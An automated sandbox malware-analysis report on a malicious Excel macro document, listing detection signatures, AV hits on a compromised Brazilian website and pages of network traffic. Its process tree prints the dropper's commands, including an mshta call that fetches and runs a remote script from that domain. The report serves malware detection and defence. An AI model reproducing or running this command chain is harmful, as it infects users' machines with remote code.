Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls

Overview

General Information

Sample Name:SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls
Analysis ID:684675
MD5:5081a754e710f34178dee80e5b1f15b4
SHA1:8ce6a3a89c9ede6a40eee5d0b0488bff2098ca01
SHA256:00f54cf5df13e3b9549f32fd39f986fc083559558d552cc0708e7a48e5f5bafe
Tags:xlsx
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Document exploit detected (creates forbidden files)
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Machine Learning detection for sample
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Document contains an embedded VBA macro with suspicious strings
Document exploit detected (process start blacklist hit)
Queries the volume information (name, serial number etc) of a device
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
IP address seen in connection with other malware
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Potential document exploit detected (unknown TCP traffic)
Searches for the Microsoft Outlook file path
Uses a known web browser user agent for HTTP communication
Installs a global mouse hook
Uses taskkill to terminate processes
Document contains embedded VBA macros
Potential document exploit detected (performs HTTP gets)
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • EXCEL.EXE (PID: 5228 cmdline: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
    • cmd.exe (PID: 4716 cmdline: cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 3080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • PING.EXE (PID: 4000 cmdline: ping -n 8 127.0.0.1 MD5: 70C24A306F768936563ABDADB9CA9108)
      • cmd.exe (PID: 4188 cmdline: cmd /c start /min taskkill /f /im WINWORD.EXE MD5: F3BDBE3BB6F734E357235F4D5898582D)
        • taskkill.exe (PID: 576 cmdline: taskkill /f /im WINWORD.EXE MD5: 15E2E0ACD891510C6268CB8899F2A1A1)
          • conhost.exe (PID: 5588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • mshta.exe (PID: 5612 cmdline: mshta http://facextrade.com.br/wp-includes/certificates/4.txt MD5: 7083239CE743FDB68DFC933B7308E80A)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsVirustotal: Detection: 48%Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsMetadefender: Detection: 29%Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsReversingLabs: Detection: 41%
Antivirus / Scanner detection for submitted sample
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsAvira: detected
Antivirus detection for URL or domain
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.03~Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6dAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.33.0.68SAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2tsAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0s./kAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jssQAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-contAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngsYAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20=BAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2dAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png.3vAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.200Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/#contatosEAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0yAvira URL Cloud: Label: malware
Source: https://facextrade.com.br/feed/Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.68Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/#contatos=Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsptAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3kpAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtyle.cssE5Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txt5jAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js-lAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtmshtaAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssets/css/logo-slider-wp-public.csAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0er=2.6.0yAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20B7Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/wlwmanifest.xml4Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6?veLMEMAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2s#Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0z6Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssqAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.31-Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2R6Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0gAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/privacy-policyAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3hAvira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: facextrade.com.brVirustotal: Detection: 5%Perma Link
Machine Learning detection for sample
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsJoe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
Source: unknownHTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.3:49750 version: TLS 1.2

Software Vulnerabilities

barindex
Document exploit detected (creates forbidden files)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\Public\Outlook.batJump to behavior
Document exploit detected (process start blacklist hit)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe
Source: global trafficDNS query: name: facextrade.com.br
Source: global trafficDNS query: name: netdna.bootstrapcdn.com
Source: global trafficDNS query: name: translate.google.com
Source: global trafficDNS query: name: storage.ie6countdown.com
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49745 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.3:49745
Source: global trafficTCP traffic: 192.168.2.3:49745 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.3:49745 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.3:49745
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.3:49745
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.3:49745
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.3:49745
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.3:49745
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.3:49745
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.3:49745
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.3:49745
Source: global trafficTCP traffic: 192.168.2.3:49745 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.3:49745 -> 104.18.10.207:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49743 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49748 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49749 -> 142.250.181.238:80
Source: global trafficTCP traffic: 142.250.181.238:80 -> 192.168.2.3:49749
Source: global trafficTCP traffic: 192.168.2.3:49749 -> 142.250.181.238:80
Source: global trafficTCP traffic: 192.168.2.3:49749 -> 142.250.181.238:80
Source: global trafficTCP traffic: 142.250.181.238:80 -> 192.168.2.3:49749
Source: global trafficTCP traffic: 142.250.181.238:80 -> 192.168.2.3:49749
Source: global trafficTCP traffic: 192.168.2.3:49749 -> 142.250.181.238:80
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49743
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49748
Source: global trafficTCP traffic: 192.168.2.3:49748 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49748 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49748
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49748
Source: global trafficTCP traffic: 192.168.2.3:49748 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49748
Source: global trafficTCP traffic: 192.168.2.3:49748 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49748
Source: global trafficTCP traffic: 192.168.2.3:49748 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49748
Source: global trafficTCP traffic: 192.168.2.3:49748 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49748
Source: global trafficTCP traffic: 192.168.2.3:49748 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49748
Source: global trafficTCP traffic: 192.168.2.3:49748 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49748
Source: global trafficTCP traffic: 192.168.2.3:49748 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49748
Source: global trafficTCP traffic: 192.168.2.3:49748 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49748
Source: global trafficTCP traffic: 192.168.2.3:49748 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49748
Source: global trafficTCP traffic: 192.168.2.3:49748 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.3:49744
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49744 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.3:49750
